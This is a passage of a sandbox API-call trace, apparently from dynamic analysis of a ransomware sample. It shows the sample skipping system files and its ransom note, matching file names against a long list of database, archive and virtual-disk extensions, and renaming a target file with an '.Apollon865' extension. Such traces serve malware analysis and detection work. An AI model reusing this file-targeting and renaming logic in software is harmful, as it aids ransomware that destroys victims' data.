	[0062.876] lstrcmpiW (lpString1="fwlink[1]", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.876] lstrcmpiW (lpString1="fwlink[1]", lpString2="Apollon865.txt.exe") returned 1
	[0062.876] lstrcmpiW (lpString1="fwlink[1]", lpString2=".") returned 1
	[0062.876] lstrcmpiW (lpString1="fwlink[1]", lpString2="..") returned 1
	[0062.876] lstrcmpiW (lpString1="fwlink[1]", lpString2="windows") returned -1
	[0062.876] lstrcmpiW (lpString1="fwlink[1]", lpString2="bootmgr") returned 1
	[0062.876] lstrcmpiW (lpString1="fwlink[1]", lpString2="temp") returned -1
	[0062.876] lstrcmpiW (lpString1="fwlink[1]", lpString2="pagefile.sys") returned -1
	[0062.876] lstrcmpiW (lpString1="fwlink[1]", lpString2="boot") returned 1
	[0062.876] lstrcmpiW (lpString1="fwlink[1]", lpString2="ids.txt") returned -1
	[0062.876] lstrcmpiW (lpString1="fwlink[1]", lpString2="ntuser.dat") returned -1
	[0062.876] lstrcmpiW (lpString1="fwlink[1]", lpString2="perflogs") returned -1
	[0062.876] lstrcmpiW (lpString1="fwlink[1]", lpString2="MSBuild") returned -1
	[0062.876] lstrlenW (lpString="fwlink[1]") returned 9
	[0062.876] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini") returned 73
	[0062.877] lstrcpyW (in: lpString1=0x119e684, lpString2="fwlink[1]" | out: lpString1="fwlink[1]") returned="fwlink[1]"
	[0062.877] lstrlenW (lpString="fwlink[1]") returned 9
	[0062.877] lstrlenW (lpString="Apollon865") returned 10
	[0062.877] lstrlenW (lpString=".dll") returned 4
	[0062.877] lstrcmpiW (lpString1="fwlink[1]", lpString2=".dll") returned 1
	[0062.877] lstrlenW (lpString=".lnk") returned 4
	[0062.877] lstrcmpiW (lpString1="fwlink[1]", lpString2=".lnk") returned 1
	[0062.877] lstrlenW (lpString=".ini") returned 4
	[0062.877] lstrcmpiW (lpString1="fwlink[1]", lpString2=".ini") returned 1
	[0062.877] lstrlenW (lpString=".sys") returned 4
	[0062.877] lstrcmpiW (lpString1="fwlink[1]", lpString2=".sys") returned 1
	[0062.877] lstrlenW (lpString="fwlink[1]") returned 9
	[0062.877] lstrlenW (lpString="bak") returned 3
	[0062.877] lstrcmpiW (lpString1="[1]", lpString2="bak") returned -1
	[0062.877] lstrlenW (lpString="ba_") returned 3
	[0062.877] lstrcmpiW (lpString1="[1]", lpString2="ba_") returned -1
	[0062.877] lstrlenW (lpString="dbb") returned 3
	[0062.877] lstrcmpiW (lpString1="[1]", lpString2="dbb") returned -1
	[0062.877] lstrlenW (lpString="vmdk") returned 4
	[0062.877] lstrcmpiW (lpString1="k[1]", lpString2="vmdk") returned -1
	[0062.877] lstrlenW (lpString="rar") returned 3
	[0062.877] lstrcmpiW (lpString1="[1]", lpString2="rar") returned -1
	[0062.877] lstrlenW (lpString="zip") returned 3
	[0062.877] lstrcmpiW (lpString1="[1]", lpString2="zip") returned -1
	[0062.877] lstrlenW (lpString="tgz") returned 3
	[0062.877] lstrcmpiW (lpString1="[1]", lpString2="tgz") returned -1
	[0062.877] lstrlenW (lpString="vbox") returned 4
	[0062.877] lstrcmpiW (lpString1="k[1]", lpString2="vbox") returned -1
	[0062.877] lstrlenW (lpString="vdi") returned 3
	[0062.877] lstrcmpiW (lpString1="[1]", lpString2="vdi") returned -1
	[0062.877] lstrlenW (lpString="vhd") returned 3
	[0062.877] lstrcmpiW (lpString1="[1]", lpString2="vhd") returned -1
	[0062.877] lstrlenW (lpString="vhdx") returned 4
	[0062.877] lstrcmpiW (lpString1="k[1]", lpString2="vhdx") returned -1
	[0062.878] lstrlenW (lpString="avhd") returned 4
	[0062.878] lstrcmpiW (lpString1="k[1]", lpString2="avhd") returned 1
	[0062.878] lstrlenW (lpString="db") returned 2
	[0062.878] lstrcmpiW (lpString1="1]", lpString2="db") returned -1
	[0062.878] lstrlenW (lpString="db2") returned 3
	[0062.878] lstrcmpiW (lpString1="[1]", lpString2="db2") returned -1
	[0062.878] lstrlenW (lpString="db3") returned 3
	[0062.878] lstrcmpiW (lpString1="[1]", lpString2="db3") returned -1
	[0062.878] lstrlenW (lpString="dbf") returned 3
	[0062.878] lstrcmpiW (lpString1="[1]", lpString2="dbf") returned -1
	[0062.878] lstrlenW (lpString="mdf") returned 3
	[0062.878] lstrcmpiW (lpString1="[1]", lpString2="mdf") returned -1
	[0062.878] lstrlenW (lpString="mdb") returned 3
	[0062.878] lstrcmpiW (lpString1="[1]", lpString2="mdb") returned -1
	[0062.878] lstrlenW (lpString="sql") returned 3
	[0062.878] lstrcmpiW (lpString1="[1]", lpString2="sql") returned -1
	[0062.878] lstrlenW (lpString="sqlite") returned 6
	[0062.878] lstrcmpiW (lpString1="ink[1]", lpString2="sqlite") returned -1
	[0062.878] lstrlenW (lpString="sqlite3") returned 7
	[0062.878] lstrcmpiW (lpString1="link[1]", lpString2="sqlite3") returned -1
	[0062.878] lstrlenW (lpString="sqlitedb") returned 8
	[0062.878] lstrcmpiW (lpString1="wlink[1]", lpString2="sqlitedb") returned 1
	[0062.878] lstrlenW (lpString="xml") returned 3
	[0062.878] lstrcmpiW (lpString1="[1]", lpString2="xml") returned -1
	[0062.878] lstrlenW (lpString="$er") returned 3
	[0062.878] lstrcmpiW (lpString1="[1]", lpString2="$er") returned 1
	[0062.878] lstrlenW (lpString="4dd") returned 3
	[0062.878] lstrcmpiW (lpString1="[1]", lpString2="4dd") returned -1
	[0062.878] lstrlenW (lpString="4dl") returned 3
	[0062.878] lstrcmpiW (lpString1="[1]", lpString2="4dl") returned -1
	[0062.878] lstrlenW (lpString="^^^") returned 3
	[0062.878] lstrcmpiW (lpString1="[1]", lpString2="^^^") returned -1
	[0062.878] lstrlenW (lpString="abs") returned 3
	[0062.878] lstrcmpiW (lpString1="[1]", lpString2="abs") returned -1
	[0062.879] lstrlenW (lpString="abx") returned 3
	[0062.879] lstrcmpiW (lpString1="[1]", lpString2="abx") returned -1
	[0062.879] lstrlenW (lpString="accdb") returned 5
	[0062.879] lstrcmpiW (lpString1="nk[1]", lpString2="accdb") returned 1
	[0062.879] lstrlenW (lpString="accdc") returned 5
	[0062.879] lstrcmpiW (lpString1="nk[1]", lpString2="accdc") returned 1
	[0062.879] lstrlenW (lpString="accde") returned 5
	[0062.879] lstrcmpiW (lpString1="nk[1]", lpString2="accde") returned 1
	[0062.879] lstrlenW (lpString="accdr") returned 5
	[0062.879] lstrcmpiW (lpString1="nk[1]", lpString2="accdr") returned 1
	[0062.879] lstrlenW (lpString="accdt") returned 5
	[0062.879] lstrcmpiW (lpString1="nk[1]", lpString2="accdt") returned 1
	[0062.879] lstrlenW (lpString="accdw") returned 5
	[0062.879] lstrcmpiW (lpString1="nk[1]", lpString2="accdw") returned 1
	[0062.879] lstrlenW (lpString="accft") returned 5
	[0062.879] lstrcmpiW (lpString1="nk[1]", lpString2="accft") returned 1
	[0062.879] lstrlenW (lpString="adb") returned 3
	[0062.879] lstrcmpiW (lpString1="[1]", lpString2="adb") returned -1
	[0062.879] lstrlenW (lpString="adb") returned 3
	[0062.879] lstrcmpiW (lpString1="[1]", lpString2="adb") returned -1
	[0062.879] lstrlenW (lpString="ade") returned 3
	[0062.879] lstrcmpiW (lpString1="[1]", lpString2="ade") returned -1
	[0062.879] lstrlenW (lpString="adf") returned 3
	[0062.879] lstrcmpiW (lpString1="[1]", lpString2="adf") returned -1
	[0062.879] lstrlenW (lpString="adn") returned 3
	[0062.879] lstrcmpiW (lpString1="[1]", lpString2="adn") returned -1
	[0062.879] lstrlenW (lpString="adp") returned 3
	[0062.879] lstrcmpiW (lpString1="[1]", lpString2="adp") returned -1
	[0062.879] lstrlenW (lpString="alf") returned 3
	[0062.879] lstrcmpiW (lpString1="[1]", lpString2="alf") returned -1
	[0062.879] lstrlenW (lpString="ask") returned 3
	[0062.879] lstrcmpiW (lpString1="[1]", lpString2="ask") returned -1
	[0062.879] lstrlenW (lpString="btr") returned 3
	[0062.879] lstrcmpiW (lpString1="[1]", lpString2="btr") returned -1
	[0062.880] lstrlenW (lpString="cat") returned 3
	[0062.880] lstrcmpiW (lpString1="[1]", lpString2="cat") returned -1
	[0062.880] lstrlenW (lpString="cdb") returned 3
	[0062.880] lstrcmpiW (lpString1="[1]", lpString2="cdb") returned -1
	[0062.880] lstrlenW (lpString="ckp") returned 3
	[0062.880] lstrcmpiW (lpString1="[1]", lpString2="ckp") returned -1
	[0062.880] lstrlenW (lpString="cma") returned 3
	[0062.880] lstrcmpiW (lpString1="[1]", lpString2="cma") returned -1
	[0062.880] lstrlenW (lpString="cpd") returned 3
	[0062.880] lstrcmpiW (lpString1="[1]", lpString2="cpd") returned -1
	[0062.880] lstrlenW (lpString="dacpac") returned 6
	[0062.880] lstrcmpiW (lpString1="ink[1]", lpString2="dacpac") returned 1
	[0062.880] lstrlenW (lpString="dad") returned 3
	[0062.880] lstrcmpiW (lpString1="[1]", lpString2="dad") returned -1
	[0062.880] lstrlenW (lpString="dadiagrams") returned 10
	[0062.880] lstrlenW (lpString="daschema") returned 8
	[0062.880] lstrcmpiW (lpString1="wlink[1]", lpString2="daschema") returned 1
	[0062.880] lstrlenW (lpString="db-journal") returned 10
	[0062.880] lstrlenW (lpString="db-shm") returned 6
	[0062.880] lstrcmpiW (lpString1="ink[1]", lpString2="db-shm") returned 1
	[0062.880] lstrlenW (lpString="db-wal") returned 6
	[0062.880] lstrcmpiW (lpString1="ink[1]", lpString2="db-wal") returned 1
	[0062.880] lstrlenW (lpString="dbc") returned 3
	[0062.880] lstrcmpiW (lpString1="[1]", lpString2="dbc") returned -1
	[0062.880] lstrlenW (lpString="dbs") returned 3
	[0062.880] lstrcmpiW (lpString1="[1]", lpString2="dbs") returned -1
	[0062.880] lstrlenW (lpString="dbt") returned 3
	[0062.880] lstrcmpiW (lpString1="[1]", lpString2="dbt") returned -1
	[0062.880] lstrlenW (lpString="dbv") returned 3
	[0062.880] lstrcmpiW (lpString1="[1]", lpString2="dbv") returned -1
	[0062.880] lstrlenW (lpString="dbx") returned 3
	[0062.880] lstrcmpiW (lpString1="[1]", lpString2="dbx") returned -1
	[0062.880] lstrlenW (lpString="dcb") returned 3
	[0062.880] lstrcmpiW (lpString1="[1]", lpString2="dcb") returned -1
	[0062.880] lstrlenW (lpString="dct") returned 3
	[0062.881] lstrcmpiW (lpString1="[1]", lpString2="dct") returned -1
	[0062.881] lstrlenW (lpString="dcx") returned 3
	[0062.881] lstrcmpiW (lpString1="[1]", lpString2="dcx") returned -1
	[0062.881] lstrlenW (lpString="ddl") returned 3
	[0062.881] lstrcmpiW (lpString1="[1]", lpString2="ddl") returned -1
	[0062.881] lstrlenW (lpString="dlis") returned 4
	[0062.881] lstrcmpiW (lpString1="k[1]", lpString2="dlis") returned 1
	[0062.881] lstrlenW (lpString="dp1") returned 3
	[0062.881] lstrcmpiW (lpString1="[1]", lpString2="dp1") returned -1
	[0062.881] lstrlenW (lpString="dqy") returned 3
	[0062.881] lstrcmpiW (lpString1="[1]", lpString2="dqy") returned -1
	[0062.881] lstrlenW (lpString="dsk") returned 3
	[0062.881] lstrcmpiW (lpString1="[1]", lpString2="dsk") returned -1
	[0062.881] lstrlenW (lpString="dsn") returned 3
	[0062.881] lstrcmpiW (lpString1="[1]", lpString2="dsn") returned -1
	[0062.881] lstrlenW (lpString="dtsx") returned 4
	[0062.881] lstrcmpiW (lpString1="k[1]", lpString2="dtsx") returned 1
	[0062.881] lstrlenW (lpString="dxl") returned 3
	[0062.881] lstrcmpiW (lpString1="[1]", lpString2="dxl") returned -1
	[0062.881] lstrlenW (lpString="eco") returned 3
	[0062.881] lstrcmpiW (lpString1="[1]", lpString2="eco") returned -1
	[0062.881] lstrlenW (lpString="ecx") returned 3
	[0062.881] lstrcmpiW (lpString1="[1]", lpString2="ecx") returned -1
	[0062.881] lstrlenW (lpString="edb") returned 3
	[0062.881] lstrcmpiW (lpString1="[1]", lpString2="edb") returned -1
	[0062.881] lstrlenW (lpString="epim") returned 4
	[0062.881] lstrcmpiW (lpString1="k[1]", lpString2="epim") returned 1
	[0062.881] lstrlenW (lpString="fcd") returned 3
	[0062.881] lstrcmpiW (lpString1="[1]", lpString2="fcd") returned -1
	[0062.881] lstrlenW (lpString="fdb") returned 3
	[0062.881] lstrcmpiW (lpString1="[1]", lpString2="fdb") returned -1
	[0062.881] lstrlenW (lpString="fic") returned 3
	[0062.881] lstrcmpiW (lpString1="[1]", lpString2="fic") returned -1
	[0062.881] lstrlenW (lpString="flexolibrary") returned 12
	[0062.882] lstrlenW (lpString="fm5") returned 3
	[0062.882] lstrcmpiW (lpString1="[1]", lpString2="fm5") returned -1
	[0062.882] lstrlenW (lpString="fmp") returned 3
	[0062.882] lstrcmpiW (lpString1="[1]", lpString2="fmp") returned -1
	[0062.882] lstrlenW (lpString="fmp12") returned 5
	[0062.882] lstrcmpiW (lpString1="nk[1]", lpString2="fmp12") returned 1
	[0062.882] lstrlenW (lpString="fmpsl") returned 5
	[0062.882] lstrcmpiW (lpString1="nk[1]", lpString2="fmpsl") returned 1
	[0062.882] lstrlenW (lpString="fol") returned 3
	[0062.882] lstrcmpiW (lpString1="[1]", lpString2="fol") returned -1
	[0062.882] lstrlenW (lpString="fp3") returned 3
	[0062.882] lstrcmpiW (lpString1="[1]", lpString2="fp3") returned -1
	[0062.882] lstrlenW (lpString="fp4") returned 3
	[0062.882] lstrcmpiW (lpString1="[1]", lpString2="fp4") returned -1
	[0062.882] lstrlenW (lpString="fp5") returned 3
	[0062.882] lstrcmpiW (lpString1="[1]", lpString2="fp5") returned -1
	[0062.882] lstrlenW (lpString="fp7") returned 3
	[0062.882] lstrcmpiW (lpString1="[1]", lpString2="fp7") returned -1
	[0062.882] lstrlenW (lpString="fpt") returned 3
	[0062.882] lstrcmpiW (lpString1="[1]", lpString2="fpt") returned -1
	[0062.882] lstrlenW (lpString="frm") returned 3
	[0062.882] lstrcmpiW (lpString1="[1]", lpString2="frm") returned -1
	[0062.882] lstrlenW (lpString="gdb") returned 3
	[0062.882] lstrcmpiW (lpString1="[1]", lpString2="gdb") returned -1
	[0062.882] lstrlenW (lpString="gdb") returned 3
	[0062.882] lstrcmpiW (lpString1="[1]", lpString2="gdb") returned -1
	[0062.882] lstrlenW (lpString="grdb") returned 4
	[0062.882] lstrcmpiW (lpString1="k[1]", lpString2="grdb") returned 1
	[0062.882] lstrlenW (lpString="gwi") returned 3
	[0062.882] lstrcmpiW (lpString1="[1]", lpString2="gwi") returned -1
	[0062.882] lstrlenW (lpString="hdb") returned 3
	[0062.882] lstrcmpiW (lpString1="[1]", lpString2="hdb") returned -1
	[0062.882] lstrlenW (lpString="his") returned 3
	[0062.882] lstrcmpiW (lpString1="[1]", lpString2="his") returned -1
	[0062.883] lstrlenW (lpString="ib") returned 2
	[0062.883] lstrcmpiW (lpString1="1]", lpString2="ib") returned -1
	[0062.883] lstrlenW (lpString="idb") returned 3
	[0062.883] lstrcmpiW (lpString1="[1]", lpString2="idb") returned -1
	[0062.883] lstrlenW (lpString="ihx") returned 3
	[0062.883] lstrcmpiW (lpString1="[1]", lpString2="ihx") returned -1
	[0062.883] lstrlenW (lpString="itdb") returned 4
	[0062.883] lstrcmpiW (lpString1="k[1]", lpString2="itdb") returned 1
	[0062.883] lstrlenW (lpString="itw") returned 3
	[0062.883] lstrcmpiW (lpString1="[1]", lpString2="itw") returned -1
	[0062.883] lstrlenW (lpString="jet") returned 3
	[0062.883] lstrcmpiW (lpString1="[1]", lpString2="jet") returned -1
	[0062.883] lstrlenW (lpString="jtx") returned 3
	[0062.883] lstrcmpiW (lpString1="[1]", lpString2="jtx") returned -1
	[0062.883] lstrlenW (lpString="kdb") returned 3
	[0062.883] lstrcmpiW (lpString1="[1]", lpString2="kdb") returned -1
	[0062.883] lstrlenW (lpString="kexi") returned 4
	[0062.883] lstrcmpiW (lpString1="k[1]", lpString2="kexi") returned -1
	[0062.883] lstrlenW (lpString="kexic") returned 5
	[0062.883] lstrcmpiW (lpString1="nk[1]", lpString2="kexic") returned 1
	[0062.883] lstrlenW (lpString="kexis") returned 5
	[0062.883] lstrcmpiW (lpString1="nk[1]", lpString2="kexis") returned 1
	[0062.883] lstrlenW (lpString="lgc") returned 3
	[0062.883] lstrcmpiW (lpString1="[1]", lpString2="lgc") returned -1
	[0062.883] lstrlenW (lpString="lwx") returned 3
	[0062.883] lstrcmpiW (lpString1="[1]", lpString2="lwx") returned -1
	[0062.883] lstrlenW (lpString="maf") returned 3
	[0062.883] lstrcmpiW (lpString1="[1]", lpString2="maf") returned -1
	[0062.883] lstrlenW (lpString="maq") returned 3
	[0062.883] lstrcmpiW (lpString1="[1]", lpString2="maq") returned -1
	[0062.883] lstrlenW (lpString="mar") returned 3
	[0062.883] lstrcmpiW (lpString1="[1]", lpString2="mar") returned -1
	[0062.883] lstrlenW (lpString="marshal") returned 7
	[0062.883] lstrcmpiW (lpString1="link[1]", lpString2="marshal") returned -1
	[0062.884] lstrlenW (lpString="mas") returned 3
	[0062.884] lstrcmpiW (lpString1="[1]", lpString2="mas") returned -1
	[0062.884] lstrlenW (lpString="mav") returned 3
	[0062.884] lstrcmpiW (lpString1="[1]", lpString2="mav") returned -1
	[0062.884] lstrlenW (lpString="maw") returned 3
	[0062.884] lstrcmpiW (lpString1="[1]", lpString2="maw") returned -1
	[0062.884] lstrlenW (lpString="mdbhtml") returned 7
	[0062.884] lstrcmpiW (lpString1="link[1]", lpString2="mdbhtml") returned -1
	[0062.884] lstrlenW (lpString="mdn") returned 3
	[0062.884] lstrcmpiW (lpString1="[1]", lpString2="mdn") returned -1
	[0062.884] lstrlenW (lpString="mdt") returned 3
	[0062.884] lstrcmpiW (lpString1="[1]", lpString2="mdt") returned -1
	[0062.884] lstrlenW (lpString="mfd") returned 3
	[0062.884] lstrcmpiW (lpString1="[1]", lpString2="mfd") returned -1
	[0062.884] lstrlenW (lpString="mpd") returned 3
	[0062.884] lstrcmpiW (lpString1="[1]", lpString2="mpd") returned -1
	[0062.884] lstrlenW (lpString="mrg") returned 3
	[0062.884] lstrcmpiW (lpString1="[1]", lpString2="mrg") returned -1
	[0062.884] lstrlenW (lpString="mud") returned 3
	[0062.884] lstrcmpiW (lpString1="[1]", lpString2="mud") returned -1
	[0062.884] lstrlenW (lpString="mwb") returned 3
	[0062.884] lstrcmpiW (lpString1="[1]", lpString2="mwb") returned -1
	[0062.884] lstrlenW (lpString="myd") returned 3
	[0062.884] lstrcmpiW (lpString1="[1]", lpString2="myd") returned -1
	[0062.884] lstrlenW (lpString="ndf") returned 3
	[0062.885] lstrcmpiW (lpString1="[1]", lpString2="ndf") returned -1
	[0062.885] lstrlenW (lpString="nnt") returned 3
	[0062.885] lstrcmpiW (lpString1="[1]", lpString2="nnt") returned -1
	[0062.885] lstrlenW (lpString="nrmlib") returned 6
	[0062.885] lstrcmpiW (lpString1="ink[1]", lpString2="nrmlib") returned -1
	[0062.885] lstrlenW (lpString="ns2") returned 3
	[0062.885] lstrcmpiW (lpString1="[1]", lpString2="ns2") returned -1
	[0062.885] lstrlenW (lpString="ns3") returned 3
	[0062.885] lstrcmpiW (lpString1="[1]", lpString2="ns3") returned -1
	[0062.885] lstrlenW (lpString="ns4") returned 3
	[0062.885] lstrcmpiW (lpString1="[1]", lpString2="ns4") returned -1
	[0062.885] lstrlenW (lpString="nsf") returned 3
	[0062.885] lstrcmpiW (lpString1="[1]", lpString2="nsf") returned -1
	[0062.885] lstrlenW (lpString="nv") returned 2
	[0062.885] lstrcmpiW (lpString1="1]", lpString2="nv") returned -1
	[0062.885] lstrlenW (lpString="nv2") returned 3
	[0062.885] lstrcmpiW (lpString1="[1]", lpString2="nv2") returned -1
	[0062.885] lstrlenW (lpString="nwdb") returned 4
	[0062.885] lstrcmpiW (lpString1="k[1]", lpString2="nwdb") returned -1
	[0062.885] lstrlenW (lpString="nyf") returned 3
	[0062.885] lstrcmpiW (lpString1="[1]", lpString2="nyf") returned -1
	[0062.885] lstrlenW (lpString="odb") returned 3
	[0062.885] lstrcmpiW (lpString1="[1]", lpString2="odb") returned -1
	[0062.885] lstrlenW (lpString="odb") returned 3
	[0062.885] lstrcmpiW (lpString1="[1]", lpString2="odb") returned -1
	[0062.885] lstrlenW (lpString="oqy") returned 3
	[0062.885] lstrcmpiW (lpString1="[1]", lpString2="oqy") returned -1
	[0062.885] lstrlenW (lpString="ora") returned 3
	[0062.885] lstrcmpiW (lpString1="[1]", lpString2="ora") returned -1
	[0062.885] lstrlenW (lpString="orx") returned 3
	[0062.885] lstrcmpiW (lpString1="[1]", lpString2="orx") returned -1
	[0062.885] lstrlenW (lpString="owc") returned 3
	[0062.885] lstrcmpiW (lpString1="[1]", lpString2="owc") returned -1
	[0062.885] lstrlenW (lpString="p96") returned 3
	[0062.885] lstrcmpiW (lpString1="[1]", lpString2="p96") returned -1
	[0062.886] lstrlenW (lpString="p97") returned 3
	[0062.886] lstrcmpiW (lpString1="[1]", lpString2="p97") returned -1
	[0062.886] lstrlenW (lpString="pan") returned 3
	[0062.886] lstrcmpiW (lpString1="[1]", lpString2="pan") returned -1
	[0062.886] lstrlenW (lpString="pdb") returned 3
	[0062.886] lstrcmpiW (lpString1="[1]", lpString2="pdb") returned -1
	[0062.886] lstrlenW (lpString="pdm") returned 3
	[0062.886] lstrcmpiW (lpString1="[1]", lpString2="pdm") returned -1
	[0062.886] lstrlenW (lpString="pnz") returned 3
	[0062.886] lstrcmpiW (lpString1="[1]", lpString2="pnz") returned -1
	[0062.886] lstrlenW (lpString="qry") returned 3
	[0062.886] lstrcmpiW (lpString1="[1]", lpString2="qry") returned -1
	[0062.886] lstrlenW (lpString="qvd") returned 3
	[0062.886] lstrcmpiW (lpString1="[1]", lpString2="qvd") returned -1
	[0062.886] lstrlenW (lpString="rbf") returned 3
	[0062.886] lstrcmpiW (lpString1="[1]", lpString2="rbf") returned -1
	[0062.886] lstrlenW (lpString="rctd") returned 4
	[0062.886] lstrcmpiW (lpString1="k[1]", lpString2="rctd") returned -1
	[0062.886] lstrlenW (lpString="rod") returned 3
	[0062.886] lstrcmpiW (lpString1="[1]", lpString2="rod") returned -1
	[0062.886] lstrlenW (lpString="rodx") returned 4
	[0062.886] lstrcmpiW (lpString1="k[1]", lpString2="rodx") returned -1
	[0062.886] lstrlenW (lpString="rpd") returned 3
	[0062.886] lstrcmpiW (lpString1="[1]", lpString2="rpd") returned -1
	[0062.886] lstrlenW (lpString="rsd") returned 3
	[0062.886] lstrcmpiW (lpString1="[1]", lpString2="rsd") returned -1
	[0062.886] lstrlenW (lpString="sas7bdat") returned 8
	[0062.886] lstrcmpiW (lpString1="wlink[1]", lpString2="sas7bdat") returned 1
	[0062.886] lstrlenW (lpString="sbf") returned 3
	[0062.886] lstrcmpiW (lpString1="[1]", lpString2="sbf") returned -1
	[0062.886] lstrlenW (lpString="scx") returned 3
	[0062.886] lstrcmpiW (lpString1="[1]", lpString2="scx") returned -1
	[0062.886] lstrlenW (lpString="sdb") returned 3
	[0062.886] lstrcmpiW (lpString1="[1]", lpString2="sdb") returned -1
	[0062.887] lstrlenW (lpString="sdc") returned 3
	[0062.887] lstrcmpiW (lpString1="[1]", lpString2="sdc") returned -1
	[0062.887] lstrlenW (lpString="sdf") returned 3
	[0062.887] lstrcmpiW (lpString1="[1]", lpString2="sdf") returned -1
	[0062.887] lstrlenW (lpString="sis") returned 3
	[0062.887] lstrcmpiW (lpString1="[1]", lpString2="sis") returned -1
	[0062.887] lstrlenW (lpString="spq") returned 3
	[0062.887] lstrcmpiW (lpString1="[1]", lpString2="spq") returned -1
	[0062.887] lstrlenW (lpString="te") returned 2
	[0062.887] lstrcmpiW (lpString1="1]", lpString2="te") returned -1
	[0062.887] lstrlenW (lpString="teacher") returned 7
	[0062.887] lstrcmpiW (lpString1="link[1]", lpString2="teacher") returned -1
	[0062.887] lstrlenW (lpString="tmd") returned 3
	[0062.887] lstrcmpiW (lpString1="[1]", lpString2="tmd") returned -1
	[0062.887] lstrlenW (lpString="tps") returned 3
	[0062.887] lstrcmpiW (lpString1="[1]", lpString2="tps") returned -1
	[0062.887] lstrlenW (lpString="trc") returned 3
	[0062.887] lstrcmpiW (lpString1="[1]", lpString2="trc") returned -1
	[0062.887] lstrlenW (lpString="trc") returned 3
	[0062.887] lstrcmpiW (lpString1="[1]", lpString2="trc") returned -1
	[0062.887] lstrlenW (lpString="trm") returned 3
	[0062.887] lstrcmpiW (lpString1="[1]", lpString2="trm") returned -1
	[0062.887] lstrlenW (lpString="udb") returned 3
	[0062.887] lstrcmpiW (lpString1="[1]", lpString2="udb") returned -1
	[0062.887] lstrlenW (lpString="udl") returned 3
	[0062.887] lstrcmpiW (lpString1="[1]", lpString2="udl") returned -1
	[0062.887] lstrlenW (lpString="usr") returned 3
	[0062.887] lstrcmpiW (lpString1="[1]", lpString2="usr") returned -1
	[0062.887] lstrlenW (lpString="v12") returned 3
	[0062.887] lstrcmpiW (lpString1="[1]", lpString2="v12") returned -1
	[0062.887] lstrlenW (lpString="vis") returned 3
	[0062.887] lstrcmpiW (lpString1="[1]", lpString2="vis") returned -1
	[0062.887] lstrlenW (lpString="vpd") returned 3
	[0062.887] lstrcmpiW (lpString1="[1]", lpString2="vpd") returned -1
	[0062.888] lstrlenW (lpString="vvv") returned 3
	[0062.888] lstrcmpiW (lpString1="[1]", lpString2="vvv") returned -1
	[0062.888] lstrlenW (lpString="wdb") returned 3
	[0062.888] lstrcmpiW (lpString1="[1]", lpString2="wdb") returned -1
	[0062.888] lstrlenW (lpString="wmdb") returned 4
	[0062.888] lstrcmpiW (lpString1="k[1]", lpString2="wmdb") returned -1
	[0062.888] lstrlenW (lpString="wrk") returned 3
	[0062.888] lstrcmpiW (lpString1="[1]", lpString2="wrk") returned -1
	[0062.888] lstrlenW (lpString="xdb") returned 3
	[0062.888] lstrcmpiW (lpString1="[1]", lpString2="xdb") returned -1
	[0062.888] lstrlenW (lpString="xld") returned 3
	[0062.888] lstrcmpiW (lpString1="[1]", lpString2="xld") returned -1
	[0062.888] lstrlenW (lpString="xmlff") returned 5
	[0062.888] lstrcmpiW (lpString1="nk[1]", lpString2="xmlff") returned -1
	[0062.888] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1].Apollon865") returned 82
	[0062.888] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\fwlink[1]"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1].Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\fwlink[1].apollon865"), dwFlags=0x1) returned 1
	[0062.889] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1].Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\fwlink[1].apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0062.889] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=0) returned 1
	[0062.889] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0062.889] CloseHandle (hObject=0x0) returned 0
	[0062.889] CloseHandle (hObject=0x118) returned 1
	[0062.889] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f25a750, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f25a750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.889] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.889] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f25a750, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f25a750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0062.889] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0062.889] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b79b0
